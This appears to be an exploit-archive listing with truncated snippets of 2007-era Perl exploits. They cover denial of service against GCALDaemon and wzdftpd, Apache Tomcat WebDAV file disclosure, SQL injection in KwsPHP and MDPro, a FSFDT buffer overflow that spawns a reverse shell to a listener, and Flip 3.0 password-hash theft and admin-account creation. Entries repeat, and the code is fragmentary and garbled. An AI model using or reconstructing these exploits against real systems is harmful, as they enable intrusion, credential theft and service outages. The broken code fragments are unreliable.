AST-2007-023-poc.txt

for testing purposes the POC of the vulnerabiliy discovered by the KIPH fuzzer RS !/usr/bin/perl Vulnerabily discovered using KiF Kiph Authors: Humberto J. Abdelnur Ph.D Student Radu State Ph.D Olivier Festor Ph.D Madynes Team, LORIA - INRIA Lorraine http://madynes.loria.fr use IO::Socket::INET;...

GCALDaemon 1.0-beta13 - Remote Denial of Service

!/usr/bin/perl / GCALDaemon $host, PeerPort = $port, PeerProto = 'tcp' or die "error: $!\n"; print "GCALDaemom DoS Expoit\n"; print "Just 4 seconds...\n"; sleep 4; $sock-send"GET / HTTP/1.1\r\n"; $sock-send"Content-Length: 1000000000\r\n\r\n"; $sock-close; print "\n\nNo more sync!\n"; milw0rm.com...

Apache Tomcat (webdav) Remote File Disclosure Exploit

Exploit for multiple platform in category remote exploits ===================================================== Apache Tomcat webdav Remote File Disclosure Exploit ===================================================== !/usr/bin/perl Apache Tomcat Remote File Disclosure Zeroday Xploit kcdarookie a...

Apache Tomcat (webdav) Remote File Disclosure Exploit

No description provided by source. !/usr/bin/perl Apache Tomcat Remote File Disclosure Zeroday Xploit kcdarookie aka eliteb0y / 2007 thanx to the whole team & andi : +++KEEP PRIV8+++ This Bug may reside in different WebDav implementations, Warp your mind! +You will need auth for the exploit to...

Apache Tomcat - 'WebDAV' Remote File Disclosure

!/usr/bin/perl Apache Tomcat Remote File Disclosure Zeroday Xploit kcdarookie aka eliteb0y / 2007 thanx to the whole team & andi : +++KEEP PRIV8+++ This Bug may reside in different WebDav implementations, Warp your mind! +You will need auth for the exploit to work... use IO::Socket; use...

kwsphpnews-sql.txt

Script....................................: KwsPHP ver 1.0 Newsletter Module Script Site...........................: http://www.kwsphp.org Vulnerability........................: Remote SQL injection Exploit Access..................................: Remote...

wzdftpd <= 0.8.0 (USER) Remote Denial of Service Exploit

No description provided by source. Indonesian Newhack Security Advisory ------------------------------------ wzdftpd = 0.8.0 USER Remote Danial of Service Waktu : Oct 07 2007 05:00AM Software : wzdftpd 0.8.0 Version : 0.8.0 Linux and Windows...

WzdFTPD 0.8.0 - 'USER' Remote Denial of Service

Indonesian Newhack Security Advisory ------------------------------------ wzdftpd new Proto = "tcp", PeerAddr = "$ip", PeerPort = "$port" || die "\n- K...

fsfdt-overflow.txt

$ nc -l -p 4321 Microsoft Windows 2000 Version 5.00.2195 C Copyright 1985-2000 Microsoft Corp. E:\draft\fsd1110\windows ------------------------------------------- !/usr/bin/perl FSFDT remote exploit by weakatfraglab.at spawns reverse shell to 10.0.0.100:4321 tested against 'FSFDT Windows FSD Bet...

FSFDT v3.000 d9 (HELP) Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ===================================================== FSFDT v3.000 d9 HELP Remote Buffer Overflow Exploit ===================================================== $ nc -l -p 4321 Microsoft Windows 2000 Version 5.00.2195 C Copyright 1985-2000...

FSD 2.052/3.000 - 'sysuser.cc sysuser::exechelp' 'HELP' Remote Overflow

source: https://www.securityfocus.com/bid/25883/info FSD is prone to multiple remote buffer-overflow vulnerabilities because the application fails to perform adequate boundary-checks on user-supplied data. An attacker can exploit these issues to execute arbitrary code within the context of the...

MDPro 1.0.76 Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ========================================= MDPro 1.0.76 Remote SQL Injection Exploit ========================================= !/usr/bin/perl use strict; use IO::Socket; my $app = "MDPro 1.0.76"; my $type = "SQL Injection"; my $author =...

MDPro 1.0.76 Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use strict; use IO::Socket; my $app = "MDPro 1.0.76"; my $type = "SQL Injection"; my $author = "undefined1"; my $settings = "magicquotesruntime = off, mysql = 4.1.0"; $| = 1; print ":: $app $type - by $author ::\n\n\n"; my $url = shift || usage;...

MD-Pro 1.0.76 - SQL Injection

!/usr/bin/perl use strict; use IO::Socket; my $app = "MDPro 1.0.76"; my $type = "SQL Injection"; my $author = "undefined1"; my $settings = "magicquotesruntime = off, mysql = 4.1.0"; $| = 1; print ":: $app $type - by $author ::\n\n\n"; my $url = shift || usage; if$url = m/^?:http://./ $url = $1;...

flip30-pass.txt

!/usr/bin/perl use strict; use IO::Socket; my $app = "Flip = 0; $data = substr$data, $index1+4; $index1 = 0; printf "%-20s %-32s\n", "username", "md5 hash"; while$index1 = index$data, "\n" = 0 my $hash = substr$data, 0, 32; my $index2 = index$data, ""; my $index3 = index$data, "", $index2+2; my...

Flip <= 3.0 Remote Password Hash Disclosure Exploit

No description provided by source. !/usr/bin/perl use strict; use IO::Socket; my $app = "Flip = 3.0"; my $type = "Passwords Hash Disclosure"; my $author = "undefined1"; my $vendor = "http://sourceforge.net/projects/flipsource"; banner; my $server = shift || usage; my $port = shift || usage;...

Flip <= 3.0 Remoe Admin Creation Exploit

No description provided by source. !/usr/bin/perl use strict; use IO::Socket; use Getopt::Std; my $app = "Flip = 3.0"; my $type = "Admin Creation"; my $author = "undefined1"; my $vendor = "http://sourceforge.net/projects/flipsource"; my %opt; getopts"t:", %opt; $| = 1; print ":: $app $type - by...

Flip 3.0 - Remote Admin Creation

Flip 3.0 - Remote Admin Creation !/usr/bin/perl use strict; use IO::Socket; use Getopt::Std; my $app = "Flip ; print "password you want: "; my $pass = ; chomp$user; chomp$pass; createadmin$url, $user, $pass; sub createadmin my $url = shift; my $user = shift; my $pass = shift; print "creating admi...

Flip 3.0 - Remote Password Hash Disclosure

!/usr/bin/perl use strict; use IO::Socket; my $app = "Flip = 0; $data = substr$data, $index1+4; $index1 = 0; printf "%-20s %-32s\n", "username", "md5 hash"; while$index1 = index$data, "\n" = 0 my $hash = substr$data, 0, 32; my $index2 = index$data, ""; my $index3 = index$data, "", $index2+2; my...

Flip 3.0 - Remote Admin Creation

!/usr/bin/perl use strict; use IO::Socket; use Getopt::Std; my $app = "Flip ; print "password you want: "; my $pass = ; chomp$user; chomp$pass; createadmin$url, $user, $pass; sub createadmin my $url = shift; my $user = shift; my $pass = shift; print "creating admin ... \t"; my $content =...